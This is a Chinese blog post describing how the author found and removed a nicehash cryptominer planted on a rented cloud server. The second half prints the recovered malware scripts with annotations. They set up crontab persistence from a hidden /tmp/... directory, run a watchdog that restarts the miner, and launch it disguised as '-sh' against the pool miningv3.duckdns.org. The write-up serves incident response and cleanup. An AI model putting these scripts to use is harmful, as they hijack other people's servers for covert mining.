记一次个人服务器被nicehash挖矿,排查挖矿程序记录

    一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示;

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第1张图片记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第2张图片

二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改服务器实例密码,重启服务器,重新连接服务器;

1.登录后,首先查看服务器操作日志: 

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第3张图片

很显然,是被清理了

2.查看物理内存,物理内存占用不高:

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第4张图片

3.查看运用运行情况,发现占用 cpu 较大的应用为r64 和 java两个进程:

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第5张图片

强制杀死两个进程,过上几秒钟,两个进程都会重启;可以确认两个进程有定时任务在启动

4.根据 top 时 java 进程号,查看文件:

此处执行下列命令:

cd /proc/6897 && ls -la

发现  进程号是 6897 的 java 文件的进程信息,文件信息

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第6张图片记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第7张图片

根据上图(上左) java 文件目录 /usr/local/cloudmonitor/  找到对应的 java 文件(上右)。从文件的创建时间,知道文件是阿里云系统部分的,原有的,排除;

5.根据 top 上 r64 进程号

执行命令 cd /proc/7749 && ls -la   --> 下左图

执行命令 ls -la ./fd --> 下右图

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第8张图片记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第9张图片

对于 由进程号的查询,得到 文件:/tmp/.../r64

6.进入 /tmp/  执行 ll

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第10张图片

通过查找,在 /tmp 下 没有发现 r64,想到在 步骤 5 有 exe -> /tmp/.../r64, 必定有文件 r64,就将文件  /tmp/.../r64 移到 / 下 。

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第11张图片

将该文件移除后,杀死对应进程 kill  -9 7749

执行 top 命令后 , CPU恢复正常;

考虑到 步骤  3 ,将 r64 运用的进程 kill -9 后,过了一段时间 运用又运行起来,同时查看 /etc/crontab

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第12张图片

觉得肯定还有其他文件。

对于 /tmp/.../r64 ,切换到 /tmp 没找到文件 r64,但是  /tmp/.../r64 是存在的,就 cd /tmp/...  进入目录  /tmp/...

执行命令 ls 

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第13张图片

 7、在 /tmp/... 下执行命令 cd ..

执行命令 ls -la 得到下图

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第14张图片

对三个点不理解,查看资料:①.:  表示当前目录

                                                ②..:表示上一级目录

                                                ③...  :表示当前目录下的隐藏目录,第一个 . 表示是隐藏文件的标志,第二三个点是文件名

 

将其下载至本地:

记一次个人服务器被nicehash挖矿,排查挖矿程序记录_第15张图片

8.将上面的文件删除

9.对上面文件的解读:

x文件:

nohup ./a >>/dev/null &    #非终端情况下运行 当前路径下的a文件,将日志抛入dve/null中,&:表示后台运行

upd:

#!/bin/sh
if test -r /tmp/.../bash.pid; then
pid=$(cat /tmp/.../bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /tmp/...
./run &>/dev/null
exit 0
fi
fi

 

a文件:

pwd > dir.dir                                          #将运用的路径添加到dir.dir文件中
dir=$(cat dir.dir)                                     #获取当前运用的路径
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d     #将“* * * * * $dir/upd >/dev/null 2>&1”覆盖到cron.d文件中
crontab cron.d                                         #声明cron.d 为定时器
crontab -l | grep upd                                  #列出upd的定时器
echo "#!/bin/sh                                        #将“”中的内容覆盖到upd中
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd                                          #赋予upd可执行权限
./run &>/dev/null                                      #运行run文件 并将所有日志抛入/dev/null中

run文件:

#!/bin/bash

ARCH=`uname -m`            #获取服务器架构
CPU=`nproc`                #获取CPU内核数量

if [ "$ARCH" == "x86_64" ] && [ "$CPU" == "48" ];   
then
    ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffffffff -t 48 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "40" ];   
then
    ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xfffffffffff -t 40 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "32" ];
then
    ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffff -t 32 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "16" ];   
then
    ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffff -t 16 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "8" ];   
then
     ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 8 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "6" ]; 
then 
     ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 6 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "4" ]; 
then
     ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 4 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "2" ] || [ "$CPU" == "1" ]; 
then
     ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 2 >>/dev/null &
fi
echo $! > bash.pid   

#启动t,设置进程,启动r64. 其中:stratum+tcp 矿池协议,//miningv3.duckdns.org:9 挖矿连接  后面的看不懂


dir.dir文件

/tmp/...

cron.d文件

* * * * * /tmp/.../upd >/dev/null 2>&1

 

你可能感兴趣的:(Linux)